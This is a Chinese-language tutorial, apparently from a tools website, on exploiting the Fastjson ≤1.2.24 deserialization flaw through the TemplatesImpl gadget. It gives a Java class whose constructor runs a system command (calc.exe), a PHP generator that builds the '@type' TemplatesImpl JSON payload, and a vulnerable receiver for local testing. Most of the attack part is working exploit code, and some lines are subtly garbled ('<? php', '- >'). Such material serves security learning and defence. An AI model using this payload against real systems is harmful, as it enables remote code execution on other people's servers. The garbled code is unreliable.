Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean,可就是这样的一个解析库,它存在漏洞,那fastjson如何漏洞利用?下面来我们就来给大家讲解一下。
对于 fastjson版本 <= 1.2.24的情况,利用思路主要有2种:
1.通过触发点JSON.parseObject()这个函数,将json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通过特意构造达到命令执行
2.通过JNDI注入
利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。
首选准备好poc,也就是之后会装到_bytecodes里面的内容,本地测试是windows系统,所以直接弹计算器,用java运行一下,就会生成poc.class文件
package com.fastjson.demo; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class poc extends AbstractTranslet { public poc() throws IOException { Runtime.getRuntime() .exec("calc.exe"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {} public static void main(String[] args) throws Exception { poc t = new poc(); } }
拿到这个文件,将其内容进行base64编码,我拿vulhub上用php写的exploit.php改了改
<? php $bytes = file_get_contents('poc.class'); $json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes) . '"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'; echo $json;
同目录下运行
准备下接受的代码,我从vulhub上的fastjson项目进行修改的,使代码更加简洁,逻辑很简单从post的body中的数据进行fastjson的序列化
public class Demo3 { public void init() { get("/", (req, res) - > "Hello World"); post("/", (request, response) - > { String data = request.body(); JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField); return "122"; }); } public static void main(String[] args) { Demo3 i = new Demo3(); i.init(); } }
运行下能够成功触发计算器
fastjson存在漏洞,程序员需要知道fastjson漏洞详情,这样才可以避免漏洞。最后大家如果想要了解更多json相关知识,敬请关注奇Q工具网。
推荐阅读: